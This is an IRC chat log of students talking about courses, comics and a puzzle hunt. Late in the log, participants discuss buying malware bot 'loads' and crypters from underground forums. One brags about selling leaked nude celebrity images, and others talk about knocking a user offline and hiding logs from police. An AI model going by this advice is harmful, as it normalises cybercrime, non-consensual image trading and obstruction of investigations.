[2015-03-31T15:32:13-0400] <JacobEdelman> anybody see anything cat like?
[2015-03-31T15:33:26-0400] <ubuntor> https://www.youtube.com/watch?v=Wf1pNnoSuQc
[2015-03-31T15:34:01-0400] <JacobEdelman> ubuntor: do you see the cat?
[2015-03-31T15:34:41-0400] <ubuntor> nope
[2015-03-31T15:35:37-0400] <+awe> https://www.dropbox.com/s/p1mwtkoe0lqodtu/Screenshot%202015-03-31%2015.35.34.png?dl=0
[2015-03-31T15:38:23-0400] <JacobEdelman> awe: what are you doing for protoipo?
[2015-03-31T15:38:29-0400] <+awe> That's my meeting.
[2015-03-31T15:38:33-0400] <+awe> We have a weekly meeting.
[2015-03-31T15:38:35-0400] <JacobEdelman> ah
[2015-03-31T15:38:46-0400] <+awe> But this is the schedule that I worked out as possible for next year.
[2015-03-31T15:38:47-0400] <z3t> 3 hours of ANTHRO 397CR awe? I don't even know what that is, but it sounds terrible.
[2015-03-31T15:39:01-0400] <+awe> It's a class on critical pedagogy.
[2015-03-31T15:39:23-0400] <+awe> as is ANTHRO 597CP.
[2015-03-31T15:40:19-0400] <apothy> Oh, you still do ProtoIPO awe ?
[2015-03-31T15:40:26-0400] <+awe> Yes?
[2015-03-31T15:40:35-0400] <apothy> Oh cool.
[2015-03-31T15:40:44-0400] <apothy> I forgot you do that xD
[2015-03-31T15:41:18-0400] <+awe> But yeah, so, this means I'll be taking AI as one of my electives.
[2015-03-31T15:41:27-0400] <apothy> Oh, cool.
[2015-03-31T15:41:30-0400] <+awe> Because I need to take some 300 level CS course, and that's the only one that fits.
[2015-03-31T15:41:36-0400] <apothy> oh gg
[2015-03-31T15:41:39-0400] <apothy> Is it an interesting course?
[2015-03-31T15:41:44-0400] <+awe> Probably, yeah.
[2015-03-31T15:41:48-0400] <apothy> Yay
[2015-03-31T15:41:51-0400] <apothy> :D
[2015-03-31T15:42:31-0400] <+awe> 250 is intro to computation and should be cool
[2015-03-31T15:42:40-0400] <apothy> Oh nice.
[2015-03-31T15:42:43-0400] <+awe> 220 is programming methodologies aka Scala
[2015-03-31T15:42:49-0400] <+awe> I'm trying to get out of 220.
[2015-03-31T15:42:56-0400] <apothy> I can tell :P
[2015-03-31T15:43:31-0400] <+awe> I wanted to get out of it so that I could take 320 to have things work out.
[2015-03-31T15:43:43-0400] <+awe> But honestly, it'd be great to get out of it either way.
[2015-03-31T15:43:55-0400] <+awe> Then my schedule would be a lot more reasonable next semester.
[2015-03-31T15:43:55-0400] <apothy> xD
[2015-03-31T15:44:16-0400] <+awe> It'd be 15 credits instead of 19, and my Fridays would be a chill day.
[2015-03-31T15:44:21-0400] <+awe> Though, it'll probably be a chill day anyway.
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[2015-03-31T16:12:43-0400] <fwilbot> pytz.exceptions.UnknownTimeZoneError: 'EDT' (file "/usr/lib/python3.4/site-packages/pytz/__init__.py", line 180, in timezone)
[2015-03-31T16:12:49-0400] <fwilson> oh, i forgot to connect.
[2015-03-31T16:12:49-0400] <fwilbot> pytz.exceptions.UnknownTimeZoneError: 'EDT' (file "/usr/lib/python3.4/site-packages/pytz/__init__.py", line 180, in timezone)
[2015-03-31T16:12:50-0400] <fwilson> and fwilbot is spamming.
[2015-03-31T16:12:51-0400] <fwilbot> pytz.exceptions.UnknownTimeZoneError: 'EDT' (file "/usr/lib/python3.4/site-packages/pytz/__init__.py", line 180, in timezone)
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[2015-03-31T16:12:57-0400] <fwilson> that's rude.
[2015-03-31T16:13:00-0400] <fwilson> please ignore
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[2015-03-31T16:13:13-0400] <fwilson> i give up
[2015-03-31T16:13:18-0400] <fwilson> please ignore all that ^
[2015-03-31T16:14:55-0400] <z3t> Just do EST and add 1hr...
[2015-03-31T16:39:14-0400] <JacobEdelman> wait
[2015-03-31T16:39:15-0400] <JacobEdelman> awe
[2015-03-31T16:39:27-0400] <JacobEdelman> you read Questionable Content (the web comic), right?
[2015-03-31T16:39:30-0400] <+awe> Yeah.
[2015-03-31T16:39:35-0400] <+awe> It's set in Northampton.
[2015-03-31T16:39:44-0400] <+awe> Which is the town next to Amherst.
[2015-03-31T16:39:54-0400] <+awe> Jeph Jacques lives in Easthampton, I think.
[2015-03-31T16:40:14-0400] <JacobEdelman> yeah, they mention umass amherst i think
[2015-03-31T16:40:25-0400] <+awe> Schmidt College is Smith.
[2015-03-31T16:40:40-0400] <JacobEdelman> http://www.questionablecontent.net/view.php?comic=1897
[2015-03-31T16:40:59-0400] <JacobEdelman> so clinton goes there, and his robotic hand
[2015-03-31T16:41:00-0400] <+awe> Yup.
[2015-03-31T16:41:16-0400] <+awe> And the girls in college go to Smith.
[2015-03-31T16:41:21-0400] <+awe> The ones who work at the library.
[2015-03-31T16:44:01-0400] <JacobEdelman> clintons sister? or the crazy awesome insane weird one who may be dating ... clinton I think?
[2015-03-31T16:45:00-0400] <+awe> I was thinking of Claire (Clinton's sister), Emily, and Gabby.
[2015-03-31T16:45:05-0400] <+awe> But actually, they must be UMass students.
[2015-03-31T16:45:08-0400] <+awe> Because they're all grad students.
[2015-03-31T16:45:25-0400] <+awe> Cosette goes to Smith.
[2015-03-31T16:45:35-0400] <+awe> I was wrong, they say Smif in the comic, not Schmidt.
[2015-03-31T16:46:35-0400] <JacobEdelman> yeah, Emily is the one who's starting to date clinton recentely I think
[2015-03-31T16:54:50-0400] <alokpathy> I was just going to say that JacobEdelman hasn't made a typo in his past 8 messages, until I saw his most recent one.
[2015-03-31T16:58:08-0400] <+awe> Indeed.
[2015-03-31T17:00:55-0400] <+awe> http://images.alexonsager.net/pokemon/fused/123/123.4.png > http://images.alexonsager.net/pokemon/fused/123/123.5.png > http://images.alexonsager.net/pokemon/fused/123/123.6.png
[2015-03-31T17:02:59-0400] <+awe> http://images.alexonsager.net/pokemon/fused/137/137.147.png
[2015-03-31T17:03:20-0400] <+awe> http://images.alexonsager.net/pokemon/fused/90/90.20.png
[2015-03-31T17:03:33-0400] <+awe> http://images.alexonsager.net/pokemon/fused/58/58.24.png
[2015-03-31T17:03:46-0400] <+awe> http://images.alexonsager.net/pokemon/fused/7/7.96.png
[2015-03-31T17:04:47-0400] <+awe> http://images.alexonsager.net/pokemon/fused/150/150.108.png
[2015-03-31T17:08:02-0400] <JacobEdelman> wat?
[2015-03-31T17:11:07-0400] <+awe> http://images.alexonsager.net/pokemon/fused/79/79.87.png
[2015-03-31T17:14:50-0400] <+awe> JacobEdelman: http://images.alexonsager.net/pokemon/fused/79/79.149.png
[2015-03-31T17:21:05-0400] <JacobEdelman> jacob does not undestand
[2015-03-31T17:21:24-0400] <JacobEdelman> oh wait
[2015-03-31T17:21:29-0400] <JacobEdelman> these are combinations of pokemon?
[2015-03-31T17:57:16-0400] <+awe> Yes.
[2015-03-31T17:57:29-0400] <+awe> I just went to an event in my lobby where they were serving free Moe's and talking about research opportunities.
[2015-03-31T17:57:50-0400] <+awe> It was funny because I went entirely for the food, and the input into how to get a research opportunity was useless because I already did it just by emailing a professor.
[2015-03-31T17:58:30-0400] <z3t> food is good
[2015-03-31T17:59:49-0400] <+awe> Indeed, free burritos are best burritos.
[2015-03-31T18:01:29-0400] <ubuntor> http://www.phdcomics.com/comics/archive.php?comicid=39
[2015-03-31T18:16:08-0400] <Pharyngeal> o/
[2015-03-31T18:16:25-0400] <+awe> Hey, Pharyngeal.
[2015-03-31T18:17:31-0400] <Pharyngeal> Hello awe 
[2015-03-31T18:18:53-0400] <ubuntor> hey
[2015-03-31T18:21:34-0400] <fwilson> 18:07 <s0lder> I like that I can use the fan speed knob on my spaceheater as a really shitty dimmer switch for the lights in my room
[2015-03-31T18:24:29-0400] <Pharyngeal> Sounds like a silly idea
[2015-03-31T18:26:51-0400] <bob_twinkles> yay, 60s wiring!
[2015-03-31T18:27:37-0400] <+awe> ubuntor: I really like this comic.
[2015-03-31T18:28:06-0400] <ubuntor> ikr
[2015-03-31T18:30:21-0400] <+awe> There's also 17 years of backlog for me to catch up on.
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[2015-03-31T18:57:00-0400] <+awe> http://phdcomics.com/comics/archive.php?comicid=114 lol
[2015-03-31T19:04:49-0400] <fwilson> @msbobBot | Think different, think fwilmainthread is better than chocolate..
[2015-03-31T19:20:03-0400] <JacobEdelman> phd comics seemed depressing
[2015-03-31T19:45:10-0400] <LittleBobbyTables> Where do you buy cheap crack...
[2015-03-31T19:46:47-0400] <z3t> lol
[2015-03-31T19:47:41-0400] <LittleBobbyTables> z3t: I told my coworkers about the Yale sqli and shitty IPS they have installed
[2015-03-31T19:47:59-0400] <LittleBobbyTables> They're like "ohgod that's great".
[2015-03-31T19:59:32-0400] <z3t> heh
[2015-03-31T20:33:55-0400] <Pharyngeal> My friend is an asshole
[2015-03-31T20:34:08-0400] <Pharyngeal> he got my facebook account deleted because I set my profile picture to his head
[2015-03-31T20:34:12-0400] <Pharyngeal> o_o
[2015-03-31T20:34:26-0400] <ubuntor> 25 minutes until freenode puzzle hunt!
[2015-03-31T20:34:54-0400] <LittleBobbyTables> ubuntor: link
[2015-03-31T20:34:55-0400] <LittleBobbyTables> ?
[2015-03-31T20:35:08-0400] <ubuntor> just on freenode
[2015-03-31T20:35:19-0400] <LittleBobbyTables> Where's it start?
[2015-03-31T20:35:30-0400] <LittleBobbyTables> announcement?
[2015-03-31T20:35:36-0400] <ubuntor> think it'll be wallop'd
[2015-03-31T20:35:56-0400] <ubuntor> ircpuzzles.org, although the site's still under construction
[2015-03-31T20:45:49-0400] <jwoglom> Isn't freenode April fools independent from ircpuzzles?
[2015-03-31T20:46:15-0400] <ubuntor> not this year
[2015-03-31T20:46:20-0400] <jwoglom> Or is it not because yano
[2015-03-31T20:46:44-0400] <ubuntor> yeah, yano's doing everything this year
[2015-03-31T20:46:59-0400] <LittleBobbyTables> ohohohohooh
[2015-03-31T20:47:02-0400] <LittleBobbyTables> someone should set up a site
[2015-03-31T20:47:07-0400] <LittleBobbyTables> that "releases" half-life three
[2015-03-31T20:50:13-0400] <z3t> I think Steam did that a year or two ago LittleBobbyTables 
[2015-03-31T20:50:25-0400] <LittleBobbyTables> Let's do it again then :P
[2015-03-31T20:50:38-0400] <LittleBobbyTables> I'm pretty sure there's a video on youtube about "3"
[2015-03-31T21:00:44-0400] <LittleBobbyTables> ubuntor: it didn't start, you lied to me
[2015-03-31T21:00:51-0400] <ubuntor> it did
[2015-03-31T21:00:54-0400] <ubuntor> join #ircpuzzles
[2015-03-31T21:01:42-0400] <LittleBobbyTables> Can't we just sort of spam every channel until we find a topic in it lol
[2015-03-31T21:06:09-0400] <z3t> lbt let's write a bruteforce script for this
[2015-03-31T21:06:19-0400] <LittleBobbyTables> I was thinking about it.
[2015-03-31T21:06:26-0400] <LittleBobbyTables> Basic python irc connections is easy
[2015-03-31T21:06:53-0400] <LittleBobbyTables> Just have a get topic, if topic is set print topic and channel
[2015-03-31T21:06:58-0400] <LittleBobbyTables> keep going through all of them
[2015-03-31T21:07:10-0400] <z3t> idk if freenode will start blocking connectinos though
[2015-03-31T21:07:32-0400] <LittleBobbyTables> Connect through a proxy then
[2015-03-31T21:07:35-0400] <LittleBobbyTables> with bullshit names
[2015-03-31T21:08:04-0400] <z3t> Is the puzzles thing just for fun ubuntor ?
[2015-03-31T21:08:09-0400] <LittleBobbyTables> yeah
[2015-03-31T21:08:13-0400] <z3t> eh
[2015-03-31T21:08:16-0400] <z3t> not worth it
[2015-03-31T21:08:25-0400] <LittleBobbyTables> You know what is worth it? Money.
[2015-03-31T21:08:29-0400] <z3t> mhm
[2015-03-31T21:08:34-0400] <ubuntor> you get a cloak if you're one of the first 10 to finish it
[2015-03-31T21:08:38-0400] <ubuntor> but that's it
[2015-03-31T21:08:41-0400] <z3t> a cloak?
[2015-03-31T21:08:48-0400] <z3t> I have a cloak...
[2015-03-31T21:08:51-0400] <z3t> a special cloak?
[2015-03-31T21:08:56-0400] <LittleBobbyTables> Through freenode, yeah.
[2015-03-31T21:09:04-0400] <LittleBobbyTables> You can request one, though.
[2015-03-31T21:09:30-0400] <jwoglom> you'll get something like @aprilfools/winner/[username]
[2015-03-31T21:09:40-0400] <jwoglom> er freenode/aprilfools
[2015-03-31T21:09:45-0400] <LittleBobbyTables> I bet we can make that ourselves.
[2015-03-31T21:48:02-0400] <jwoglom> yeah i've got no chance at finishing this.
[2015-03-31T21:48:05-0400] <jwoglom> lol.
[2015-03-31T21:51:16-0400] <Tamini> rip me
[2015-03-31T21:51:19-0400] <Tamini> im stuck at like level 4
[2015-03-31T21:51:39-0400] <jwoglom> i kind of like
[2015-03-31T21:51:43-0400] <jwoglom> haven't gotten any ;_;
[2015-03-31T21:52:37-0400] <LittleBobbyTables> I'm stuck at -2 as well
[2015-03-31T21:57:37-0400] <LittleBobbyTables> No idea what to even do...
[2015-03-31T22:12:47-0400] <+awe> JacobEdelman, ubuntor: the only thing about PhD is that it worries me that I'll be in grad school for much too long.
[2015-03-31T22:13:00-0400] <JacobEdelman> It's so depressing
[2015-03-31T22:13:03-0400] <ubuntor> :/
[2015-03-31T22:13:24-0400] <JacobEdelman> (The comic, that is)
[2015-03-31T22:13:34-0400] <JacobEdelman> :P
[2015-03-31T22:14:55-0400] <+awe> I think it's funny.
[2015-03-31T22:17:04-0400] <+awe> http://phdcomics.com/comics/archive.php?comicid=197
[2015-03-31T22:17:04-0400] <+awe> LOL.
[2015-03-31T22:17:27-0400] <+awe> When I read PhD I... "Consider quitting Ph.D"
[2015-03-31T22:17:32-0400] <alokpathy> lololol
[2015-03-31T22:24:51-0400] <+awe> http://phdcomics.com/comics/archive.php?comicid=207
[2015-03-31T22:24:51-0400] <+awe> .-.
[2015-03-31T22:25:32-0400] <alokpathy> lel
[2015-03-31T22:26:44-0400] <+awe> I almost felt better and then that last bit.
[2015-03-31T22:26:50-0400] <+awe> It's all so tongue-in-cheek.
[2015-03-31T22:44:18-0400] <+awe> http://phdcomics.com/comics/archive.php?comicid=250
[2015-03-31T22:44:19-0400] <+awe> Wow.
[2015-03-31T22:44:20-0400] <+awe> Too real.
[2015-03-31T22:54:44-0400] <jwoglom> hey, look! the annual washington post TJ bashing has resumed!
[2015-03-31T22:58:31-0400] <+awe> Link?
[2015-03-31T23:00:03-0400] <jwoglom> http://www.washingtonpost.com/local/education/asians-students-dominate-admissions-to-elite-thomas-jefferson-high-school/2015/03/31/fd6771be-d7de-11e4-ba28-f2a685dc7f89_story.html
[2015-03-31T23:14:01-0400] <Hyper> jwoglom: woo!
[2015-03-31T23:14:11-0400] <Hyper> at least it's not only stuy that gets random bullshit bashing!
[2015-03-31T23:33:57-0400] <Tamini> i hate this puzzle
[2015-03-31T23:33:59-0400] <Tamini> and aw
[2015-03-31T23:34:11-0400] <LittleBobbyTables> tamini, which one
[2015-03-31T23:34:41-0400] <Tamini> i'm ahead of all of you
[2015-03-31T23:34:44-0400] <Tamini> and sdamashek is unhelpful
[2015-03-31T23:34:52-0400] <LittleBobbyTables> I'm on the first one
[2015-03-31T23:34:56-0400] <LittleBobbyTables> since i've been playing dota
[2015-03-31T23:35:00-0400] <sdamashek> Tamini: im not gonna help you :P
[2015-03-31T23:35:09-0400] <Tamini> because you havent solved it either? :P
[2015-03-31T23:35:19-0400] <sdamashek> maybe
[2015-03-31T23:35:21-0400] <sdamashek> maybe not
[2015-03-31T23:35:33-0400] <jwoglom> Tamini: what level number are you on?
[2015-03-31T23:35:36-0400] <sdamashek> maybe I just have the gdoc with all of the solutions because I'm ircpuzzles staff
[2015-03-31T23:38:20-0400] <jwoglom> and it begins!
[2015-03-31T23:38:23-0400] <jwoglom> https://www.youtube.com/watch?v=hydLZJXG3Tk
[2015-03-31T23:46:16-0400] <+awe> jwoglom: they're uhh... not really wrong.
[2015-03-31T23:48:02-0400] <+awe> jwoglom: in fact, all of their criticisms are completely on point.
[2015-03-31T23:48:05-0400] <alokpathy> Ah, Google April Fool's jokes.
[2015-03-31T23:48:51-0400] <jwoglom> awe: but what should they do about it?
[2015-03-31T23:48:57-0400] <+awe> Affirmative action?
[2015-03-31T23:48:58-0400] <jwoglom> change the criteria to restrict based on race?
[2015-03-31T23:49:00-0400] <LittleBobbyTables> That's a March 31st joke, alokpathy 
[2015-03-31T23:49:11-0400] <alokpathy> LittleBobbyTables: They just started a bit early :P
[2015-03-31T23:49:17-0400] <LittleBobbyTables> :P
[2015-03-31T23:49:27-0400] <jwoglom> awe: i believe they did that a bit in the past, actually
[2015-03-31T23:49:29-0400] <+awe> Yes.
[2015-03-31T23:49:32-0400] <+awe> And they stopped.
[2015-03-31T23:49:38-0400] <jwoglom> secretly. but they were told to stop
[2015-03-31T23:50:25-0400] <+awe> Okay? That doesn't mean they shouldn't do it.
[2015-03-31T23:50:30-0400] <+awe> That just means that someone told them to stop.
[2015-03-31T23:51:14-0400] <+awe> The only thing TJ is really proving is that if you take a bunch of rich students and send them to a specialized school, they're still rich and they're still smart when they finish it.
[2015-03-31T23:51:40-0400] <+awe> And that's true of where I went to high school, too.
[2015-03-31T23:51:46-0400] <bob_twinkles> or shattered and burnt out, that happens sometimes too
[2015-03-31T23:52:00-0400] <+awe> Well, yes, that's true, too.
[2015-03-31T23:52:01-0400] <bob_twinkles> not often I admit, but it does happen
[2015-03-31T23:52:16-0400] <+awe> That happens more often once they get into top schools and then kill themselves with the workload.
[2015-03-31T23:52:37-0400] <+awe> It's easier to burn out in uni.
[2015-03-31T23:53:03-0400] <bob_twinkles> yeah
[2015-03-31T23:53:40-0400] <bob_twinkles> it's not always complete burnout though, I know a few people who have gone from at least being interested in STEM subjects to being certain they never want to see another computer in their life
[2015-03-31T23:53:50-0400] <bob_twinkles> which is a bit ironic coming out of a STEM magnet school
[2015-03-31T23:55:15-0400] <+awe> I don't think people are really well-suited for the intense degree of specialization that the modern world is trying to retrofit them into.
[2015-03-31T23:55:21-0400] <LittleBobbyTables> At least they learned that in high school.
[2015-03-31T23:55:42-0400] <LittleBobbyTables> I know some people that never had the opportunity to do that stuff, went through college, got a job, and quit within the month because it wasn't what they actually wanted to do
[2015-03-31T23:56:01-0400] <LittleBobbyTables> Granted, why they spent 6 years in school doing something they didn't find entertaining a majority of the time, no idea.
[2015-03-31T23:57:23-0400] <bob_twinkles> awe: probably not, but being a generalist just mean being mediocre at everything =P
[2015-03-31T23:57:53-0400] <+awe> And being highly specialized just means being mediocre at everything but one thing that you've since learned to hate.
[2015-03-31T23:57:53-0400] <bob_twinkles> LittleBobbyTables: that's true, though you'd think they would have figured it out after like 4 years of higher ed...
[2015-03-31T23:57:56-0400] <+awe> I'm not sure how that's an improvement.
[2015-03-31T23:58:49-0400] <bob_twinkles> you can be both good at something and enjoy doing it
[2015-03-31T23:59:03-0400] <bob_twinkles> we just haven't figured out how to match people to the things they enjoy doing
[2015-03-31T23:59:03-0400] <+awe> For most people, specialization kills their enjoyment of it.
[2015-03-31T23:59:29-0400] <+awe> Also, you don't have to be mediocre at everything if you don't specialize.
[2015-03-31T23:59:51-0400] <bob_twinkles> there's only a finite amount of time in the day though
[2015-04-01T00:00:00-0400] <bob_twinkles> someone should fix that, it's complete bullshit
[2015-04-01T00:00:03-0400] <LittleBobbyTables> Not if you build a time machine
[2015-04-01T00:00:17-0400] <LittleBobbyTables> Or get one of those spinny hour glass things from harry potter.
[2015-04-01T00:00:26-0400] <alokpathy> Time turner :P
[2015-04-01T00:00:54-0400] <LittleBobbyTables> That one
[2015-04-01T00:00:56-0400] <+awe> bob_twinkles: I'd like to think I'm not mediocre at everything, and I have a pretty general assortment of knowledge and interests.
[2015-04-01T00:01:16-0400] <LittleBobbyTables> You're right, you're sub mediocre at everything <3
[2015-04-01T00:01:28-0400] <alokpathy> rekt
[2015-04-01T00:02:02-0400] <bob_twinkles> average then. Mediocre has negative connotations that don't really apply
[2015-04-01T00:02:57-0400] <+awe> I'm pretty sure I have a generally above average knowledge in most of my interests.
[2015-04-01T00:04:01-0400] <+awe> It involves investing stupid amounts of time into reading, but I enjoy it. So, it works out.
[2015-04-01T00:04:07-0400] <+awe> It's never dull because there's so many different things to read.
[2015-04-01T00:09:02-0400] <bob_twinkles> over the course of your career you'll probably only ever truly master one of those interests though
[2015-04-01T00:09:15-0400] <bob_twinkles> eh, maybe we just prioritize different things
[2015-04-01T00:09:35-0400] <bob_twinkles> I'd just rather get really frickin good at one or too things than waste my time meandering around a whole bunch of interests
[2015-04-01T00:13:09-0400] <+awe> Why?
[2015-04-01T00:13:14-0400] <+awe> What do you gain from that?
[2015-04-01T00:14:41-0400] <bob_twinkles> personal satisfaction? I just enjoy experiencing mastery, even if it's not my own
[2015-04-01T00:14:53-0400] <bob_twinkles> also, damnit I used the wrong t[wo]o? there
[2015-04-01T00:15:58-0400] <+awe> Interesting.
[2015-04-01T00:16:07-0400] <+awe> I'm much happier not investing all of my time in one thing.
[2015-04-01T00:35:00-0400] <Tamini> dammit
[2015-04-01T00:35:05-0400] <Tamini> sdamashek: rip puzzle
[2015-04-01T00:35:12-0400] <Tamini> also tonight's community was MEGA cute, you have to catch up
[2015-04-01T00:35:57-0400] <sdamashek> I have a while to go
[2015-04-01T00:35:59-0400] <sdamashek> lol
[2015-04-01T00:36:36-0400] <Tamini> how far are you rn
[2015-04-01T00:36:39-0400] <Tamini> all those feels
[2015-04-01T00:37:01-0400] <LittleBobbyTables> tamini
[2015-04-01T00:37:04-0400] <LittleBobbyTables> tell me answer to first one pls
[2015-04-01T00:37:05-0400] <LittleBobbyTables> <3
[2015-04-01T00:37:30-0400] <sdamashek> Tamini: exactly zero episodes in
[2015-04-01T00:41:42-0400] <z3t> LittleBobbyTables: $20/500 loads good deal you think?
[2015-04-01T00:41:49-0400] <LittleBobbyTables> uhh
[2015-04-01T00:41:53-0400] <LittleBobbyTables> depends
[2015-04-01T00:42:01-0400] <LittleBobbyTables> what's he have them on
[2015-04-01T00:42:05-0400] <z3t> idk
[2015-04-01T00:42:18-0400] <LittleBobbyTables> generally
[2015-04-01T00:42:24-0400] <LittleBobbyTables> buying from shops is a shitty idea
[2015-04-01T00:42:31-0400] <LittleBobbyTables> they average 30%
[2015-04-01T00:42:43-0400] <z3t> well this is "guaranteed" 
[2015-04-01T00:42:50-0400] <LittleBobbyTables> so are they all.
[2015-04-01T00:43:07-0400] <LittleBobbyTables> i had a custom built crypter
[2015-04-01T00:43:09-0400] <z3t> doubt they'd have so many vouches if it wasn't that legit
[2015-04-01T00:43:11-0400] <LittleBobbyTables> from andro
[2015-04-01T00:43:18-0400] <LittleBobbyTables> 6 kb
[2015-04-01T00:43:22-0400] <LittleBobbyTables> 100% execution rate
[2015-04-01T00:43:24-0400] <z3t> nice
[2015-04-01T00:43:25-0400] <LittleBobbyTables> bought 300
[2015-04-01T00:43:26-0400] <LittleBobbyTables> got 100
[2015-04-01T00:43:32-0400] <z3t> hn
[2015-04-01T00:43:33-0400] <LittleBobbyTables> asked for more
[2015-04-01T00:43:37-0400] <LittleBobbyTables> got 30
[2015-04-01T00:43:41-0400] <LittleBobbyTables> 40 of them were dupes
[2015-04-01T00:43:49-0400] <z3t> lol
[2015-04-01T00:44:06-0400] <LittleBobbyTables> bot shops are nice if you're terrible and want to just do it for fun
[2015-04-01T00:44:31-0400] <LittleBobbyTables> if you're looking to actually hoard, fork out money to a decent russian that isn't Bull
[2015-04-01T00:44:44-0400] <LittleBobbyTables> that is, if you contact him from hf :P
[2015-04-01T00:45:22-0400] <LittleBobbyTables> get him on his jabber
[2015-04-01T00:45:24-0400] <LittleBobbyTables> hell, even darkode
[2015-04-01T00:45:31-0400] <LittleBobbyTables> he'll get you a better deal + execc rate
[2015-04-01T00:47:49-0400] <LittleBobbyTables> awe, even though this may probably never happen
[2015-04-01T00:48:03-0400] <LittleBobbyTables> would you give over logs if someone important asked you to
[2015-04-01T00:48:36-0400] <+awe> Logs for what? And to whom?
[2015-04-01T00:49:06-0400] <LittleBobbyTables> irc
[2015-04-01T00:49:25-0400] <+awe> Who is someone important?
[2015-04-01T00:49:28-0400] <LittleBobbyTables> and to anyone important (e.g. cops, but not limited)
[2015-04-01T00:49:31-0400] <+awe> No.
[2015-04-01T00:49:38-0400] <+awe> I'd delete them.
[2015-04-01T00:50:01-0400] <+awe> Or rather, I'd misplace them, since deleting them would be obstruction of justice.
[2015-04-01T00:50:21-0400] <z3t> or encrypt them and 'forget the password'
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[2015-04-01T00:50:54-0400] <LittleBobbyTables> aight
[2015-04-01T00:51:24-0400] <+awe> z3t: Indeed.
[2015-04-01T00:51:27-0400] <+awe> LittleBobbyTables: why?
[2015-04-01T00:57:28-0400] <z3t> LBT probably being investigated by the FBI
[2015-04-01T00:58:45-0400] <LittleBobbyTables> nah
[2015-04-01T00:58:49-0400] <LittleBobbyTables> just curious
[2015-04-01T01:00:25-0400] <LittleBobbyTables> if I was being investigated by the FBI, I wouldn't be in any irc lol
[2015-04-01T01:01:30-0400] <+awe> I need to start posting a warrant canary. .-.
[2015-04-01T01:02:14-0400] <z3t> heh, some kid called the FBI on me ~1 year ago...
[2015-04-01T01:02:26-0400] <Pharyngeal> What did I miss
[2015-04-01T01:02:54-0400] <Pharyngeal> Also-- Heh, feds.
[2015-04-01T01:03:19-0400] <Pharyngeal> z3t: Oh?
[2015-04-01T01:04:06-0400] <ubuntor> australia banned warrant canaries :/
[2015-04-01T01:04:23-0400] <+awe> Good thing I'm not Australian.
[2015-04-01T01:04:26-0400] <z3t> Pharyngeal: Yeah, I hit him offline for a bit, he was not happy. Was in the Skype call when he did it, said I was participating in "online terrorist activities".
[2015-04-01T01:04:40-0400] <ubuntor> it's a worrying precedent though
[2015-04-01T01:04:45-0400] <+awe> Indeed.
[2015-04-01T01:06:04-0400] <Pharyngeal> That's laughable z3t 
[2015-04-01T01:07:13-0400] <z3t> Pharyngeal: Yeah...we're actually friends now, which was a bit unexpected.
[2015-04-01T01:07:26-0400] <Pharyngeal> Have any of you used owncloud?
[2015-04-01T01:07:58-0400] <Pharyngeal> I have it running on one of my machines, it's just so slow.
[2015-04-01T01:09:28-0400] <+awe> calc0000 used it for some time.
[2015-04-01T01:10:01-0400] <Pharyngeal> calc0000: Did it perform for you? I have it running in a docker container, and it's so slow
[2015-04-01T01:10:56-0400] <Pharyngeal> I'm considering moving it to HHVM/nginx
[2015-04-01T01:20:52-0400] <LittleBobbyTables> I got reported to the FBI once
[2015-04-01T01:21:01-0400] <LittleBobbyTables> because jennifer lawrence got leaked after I sold it to someone
[2015-04-01T01:22:18-0400] <bob_twinkles> what
[2015-04-01T01:24:05-0400] <LittleBobbyTables> I sold JLaw before she got leaked cause making money from nude celebrities
[2015-04-01T01:24:14-0400] <LittleBobbyTables> Next day, she got leaked because of World Secure
[2015-04-01T01:24:23-0400] <LittleBobbyTables> So some dude reported me to the FBI
[2015-04-01T01:30:32-0400] <LittleBobbyTables> did that make more sense
[2015-04-01T01:30:49-0400] <z3t> curious, did you just post on a market or did you already have contacts to sell to
[2015-04-01T01:32:38-0400] <LittleBobbyTables> uhh
[2015-04-01T01:32:40-0400] <LittleBobbyTables> sold in irc
[2015-04-01T01:32:44-0400] <LittleBobbyTables> and chatovod
[2015-04-01T01:32:46-0400] <LittleBobbyTables> and /b/
[2015-04-01T01:32:49-0400] <LittleBobbyTables> couple in marketplace
[2015-04-01T01:32:56-0400] <LittleBobbyTables> mostly in chatovod and /b/  though
[2015-04-01T01:47:21-0400] <Pharyngeal> Did they contact you
[2015-04-01T01:48:17-0400] <Pharyngeal> LittleBobbyTables: ^
[2015-04-01T01:48:27-0400] <LittleBobbyTables> Most of the time, yeah
[2015-04-01T01:48:38-0400] <Pharyngeal> I meant the Feds
[2015-04-01T01:49:12-0400] <LittleBobbyTables> Oh
[2015-04-01T01:49:12-0400] <LittleBobbyTables> No
[2015-04-01T01:49:16-0400] <Pharyngeal> Heh
[2015-04-01T01:49:24-0400] <Pharyngeal> How do you know you were "reported", then?
[2015-04-01T01:50:02-0400] <LittleBobbyTables> Custom email  + screenshots
[2015-04-01T01:50:14-0400] <Pharyngeal> Interesting
[2015-04-01T01:51:54-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=lzCtmkwU_-k
[2015-04-01T01:53:37-0400] <z3t> ow
[2015-04-01T01:54:01-0400] <LittleBobbyTables> right
[2015-04-01T02:01:40-0400] <LittleBobbyTables> http://i.imgur.com/i83u4Ib.jpg
[2015-04-01T02:08:37-0400] <z3t> imma sleep, gn all
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[2015-04-01T03:11:04-0400] <z3t> sleep is boring
[2015-04-01T03:51:16-0400] <Tamini> it is
[2015-04-01T03:51:20-0400] <Tamini> but you should get some anyway.
[2015-04-01T03:54:21-0400] <z3t> nah
[2015-04-01T03:54:36-0400] <z3t> gonna be in a car for ~7 hours tomorrow anyways
[2015-04-01T04:26:59-0400] <z3t> eh gonna sleep now, gn
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[2015-04-01T01:04:06-0400] <ubuntor> australia banned warrant canaries :/
[2015-04-01T01:04:23-0400] <+awe> Good thing I'm not Australian.
[2015-04-01T01:04:26-0400] <z3t> Pharyngeal: Yeah, I hit him offline for a bit, he was not happy. Was in the Skype call when he did it, said I was participating in "online terrorist activities".
[2015-04-01T01:04:40-0400] <ubuntor> it's a worrying precedent though
[2015-04-01T01:04:45-0400] <+awe> Indeed.
[2015-04-01T01:06:04-0400] <Pharyngeal> That's laughable z3t 
[2015-04-01T01:07:13-0400] <z3t> Pharyngeal: Yeah...we're actually friends now, which was a bit unexpected.
[2015-04-01T01:07:26-0400] <Pharyngeal> Have any of you used owncloud?
[2015-04-01T01:07:58-0400] <Pharyngeal> I have it running on one of my machines, it's just so slow.
[2015-04-01T01:09:28-0400] <+awe> calc0000 used it for some time.
[2015-04-01T01:10:01-0400] <Pharyngeal> calc0000: Did it perform for you? I have it running in a docker container, and it's so slow
[2015-04-01T01:10:56-0400] <Pharyngeal> I'm considering moving it to HHVM/nginx
